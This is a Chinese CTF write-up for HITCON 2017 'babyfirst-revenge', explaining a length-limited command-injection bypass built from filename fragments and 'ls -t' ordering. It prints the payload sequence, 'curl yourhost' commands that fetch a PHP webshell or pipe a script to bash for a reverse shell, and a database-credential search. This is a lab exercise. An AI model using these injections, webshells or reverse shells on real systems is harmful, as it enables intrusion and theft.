HITCON2017 babyfirst-revenge


初看这题,完全没有思路???!!!


没辙,只能找大佬,看了网上各路大神的思路,从看不懂writeup到慢慢理解原理,学习了~多数writeup思路差不多,总归是利用\来多次输入命令,绕过长度限制,有的人直接curl xxx(不用ls -t这个我没有成功,因为是在构造不出ip地址各种进制的序列问题),痛苦~~


关键一:绕过5位长度限制

要想绕过长度限制执行多条命令,显然会想到先将命令放到文件中取执行。第一个问题就是如何写文件?

> (右尖括号) 在linux起输出重定向的作用

>1 可以生成一个文件名为1的文件


ls 显示列表

这是linux中的常用命令,该命令可显示列表,这里为什么要用到这个命令呢,其实跟我们的上一步中通过重定向生成的特殊文件名有关。我们通过ls>x,可以讲列表名输出重定向到x文件中,这样我们产生的文件名即可被利用。

\(反斜杠) Linux的命令执行中支持命令换行 需要用到反斜杠\ 写到最后面(即使中间有未识别的命令也不影响其执行)


关键二:ls 排序问题(有反转)

这个问题就搞了至少半天,网上给出的例子在kali、Ubuntu中呈现的都是完全不一样的结果,尤其是针对字母数字混合其他特殊字符的情况。


一开始的想法就是从第一个字母开始排序,特殊字符在前、数字中间、字母最后。直到我试了-a


-a 没有出现在最前面。

ls -l的默认排序方式手册上只写了是alphabetically(字典序),经过测试发现ls排序方式是忽视字母大小写,数字排在字母前面,无视数字和英文字母之外的字符。

如果我们现在需要`ls -t>y`,那应该如何提交参数呢?如下:

1.cmd=>l\\

2.cmd=>s\ \\

3.cmd=-t\\

4.cmd=>\>y


这种情况下默认排序正好是我们想要的顺序。

继续执行`ls>_`,讲文件列表输出到_中


这时候`ls -t>y`这个命令就存在_文件中,我们通过sh _即可执行命令,之所以要先ls -t,其实是因为ls的默认排序是在是很难按照想要的顺序构造命令,加上参数-t,我们可以按时间进行排序(最新的在上),这样我们的命令就很好存放到文件中了,不用再取细心构造(官方writeup也是如此,只是未能在我的测试环境中测试成功)。

接下来,我们再把`curl yourhost>z`命令分段输入进去(倒着输入)


以上只能把命令行中测试成功,但在php执行后中却完全不一样!!!!不一样


如图


通过php执行生成的_的内容序列并非和我们在linux命令行中看到的一样!-t、>y反而在最前面!

经过 Abyss 大神的指导,得知 ls 排序和环境变量LC_COLLATE有关!


php默认的应该是c,这里给除另一个可参考的材料,来自知乎 https://www.zhihu.com/question/273928679

所以这里各位还是采用官方给出的构造`ls -t>y`

    # generate `ls -t>y` file
    '>ls\\', 
    'ls>_', 
    '>\ \\', 
    '>-t\\', 
    '>\>y', 
    'ls>>_', 

通过追加的方式讲第二次ls的内容-t和-y与第一次ls生成的ls集合成一条命令。生成的_文件的内容大致如下:


这样`ls -t>y`命令就构造完毕了

关键三:如何利用?

代码可以构造了,那该如何利用呢?综合网络上的例子一种通过curl(也有人用wget)下载脚本,脚本可以是php脚本,bash脚本,可以生成webshell,也可以反弹shell。

  • 写WEBSHELL

140.143.xx.xx这是我的一台vps,我在根目录下面放了要执行php代码(参考了php写一句话木马为例)


我们可以看到输入的curl命令的顺序都是乱的,这是后就好借助之前生成的`ls -t>y`

执行`sh _`


命令执行后生成了新的文件y,y中包含了需要执行的curl语句。然后,继续执行`sh y`,执行语句,生成z文件。


z文件内容即为需要执行的代码,通过`php z`即可执行php生成fun.php文件。爱春秋平台的测试环境没法直接访问sandbox,所以该方法无法使用。

  • 反弹shell

讲服务器的目录文件替换为bash脚本,如下:


对应的curl语句修改一下,改为`curl yourhost|bash`即可。(vps在疼讯云上,4444可能有所限制,我换成8181就行了)


关键四:flag在哪里?


整理下心情,搜索下flag。

在 home 目录下找到 fl4444g 文件夹,里面有个README.txt


提示flag在mysql数据库,fl4444g/Su*****应该就是用户名密码


这里不知道为什么-e用不了,只能交互+exit输出内容(知道原因了,-ufl4444g -pxxx,不要用空格就行)


另外,还有人找到在根目录下的 run.sh 也有数据库账户信息。



这一道题,可以总结的东西很多。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值